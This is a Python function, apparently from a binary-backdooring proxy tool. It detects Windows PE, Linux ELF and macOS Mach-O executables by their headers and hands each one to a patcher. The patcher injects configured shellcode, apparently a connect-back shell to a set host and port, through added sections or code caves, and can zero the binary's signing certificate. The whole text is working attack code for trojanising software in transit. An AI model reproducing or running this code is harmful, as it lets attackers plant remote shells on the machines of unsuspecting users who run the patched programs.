'Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None'

def binaryGrinder(self, binaryFile):

    with open(binaryFile, 'r+b') as f:
        binaryTMPHandle = f.read()
    binaryHeader = binaryTMPHandle[:4]
    result = None
    try:
        if (binaryHeader[:2] == 'MZ'):
            pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
            magic = pe.OPTIONAL_HEADER.Magic
            machineType = pe.FILE_HEADER.Machine
            if ((magic == int('20B', 16)) and (machineType == 34404) and (self.WindowsType.lower() in ['all', 'x64'])):
                add_section = False
                cave_jumping = False
                if (self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append'):
                    add_section = True
                elif (self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump'):
                    cave_jumping = True
                if (self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic'):
                    cave_jumping = True
                targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx64['SHELL'], HOST=self.WindowsIntelx64['HOST'], PORT=int(self.WindowsIntelx64['PORT']), ADD_SECTION=add_section, CAVE_JUMPING=cave_jumping, IMAGE_TYPE=self.WindowsType, PATCH_DLL=self.WindowsIntelx64.as_bool('PATCH_DLL'), SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], ZERO_CERT=self.WindowsIntelx64.as_bool('ZERO_CERT'), PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower())
                result = targetFile.run_this()
            elif ((machineType == 332) and (self.WindowsType.lower() in ['all', 'x86'])):
                add_section = False
                cave_jumping = False
                if (self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append'):
                    add_section = True
                elif (self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump'):
                    cave_jumping = True
                if (self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic'):
                    cave_jumping = True
                targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx86['SHELL'], HOST=self.WindowsIntelx86['HOST'], PORT=int(self.WindowsIntelx86['PORT']), ADD_SECTION=add_section, CAVE_JUMPING=cave_jumping, IMAGE_TYPE=self.WindowsType, PATCH_DLL=self.WindowsIntelx86.as_bool('PATCH_DLL'), SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], ZERO_CERT=self.WindowsIntelx86.as_bool('ZERO_CERT'), PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower())
                result = targetFile.run_this()
        elif (binaryHeader[:4].encode('hex') == '7f454c46'):
            targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
            targetFile.support_check()
            if (targetFile.class_type == 1):
                targetFile = elfbin.elfbin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.LinuxIntelx86['SHELL'], HOST=self.LinuxIntelx86['HOST'], PORT=int(self.LinuxIntelx86['PORT']), SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], IMAGE_TYPE=self.LinuxType)
                result = targetFile.run_this()
            elif (targetFile.class_type == 2):
                targetFile = elfbin.elfbin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.LinuxIntelx64['SHELL'], HOST=self.LinuxIntelx64['HOST'], PORT=int(self.LinuxIntelx64['PORT']), SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], IMAGE_TYPE=self.LinuxType)
                result = targetFile.run_this()
        elif (binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']):
            targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
            targetFile.support_check()
            if (targetFile.FAT_FILE is True):
                if (self.FatPriority == 'x86'):
                    targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx86['SHELL'], HOST=self.MachoIntelx86['HOST'], PORT=int(self.MachoIntelx86['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority)
                    result = targetFile.run_this()
                elif (self.FatPriority == 'x64'):
                    targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx64['SHELL'], HOST=self.MachoIntelx64['HOST'], PORT=int(self.MachoIntelx64['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority)
                    result = targetFile.run_this()
            elif (targetFile.mach_hdrs[0]['CPU    Type'] == '0x7'):
                targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx86['SHELL'], HOST=self.MachoIntelx86['HOST'], PORT=int(self.MachoIntelx86['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority)
                result = targetFile.run_this()
            elif (targetFile.mach_hdrs[0]['CPU    Type'] == '0x1000007'):
                targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx64['SHELL'], HOST=self.MachoIntelx64['HOST'], PORT=int(self.MachoIntelx64['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority)
                result = targetFile.run_this()
        return result
    except Exception as e:
        EnhancedOutput.print_error('binaryGrinder:    {0}'.format(e))
        EnhancedOutput.logging_warning('Exception    in    binaryGrinder    {0}'.format(e))
        return None
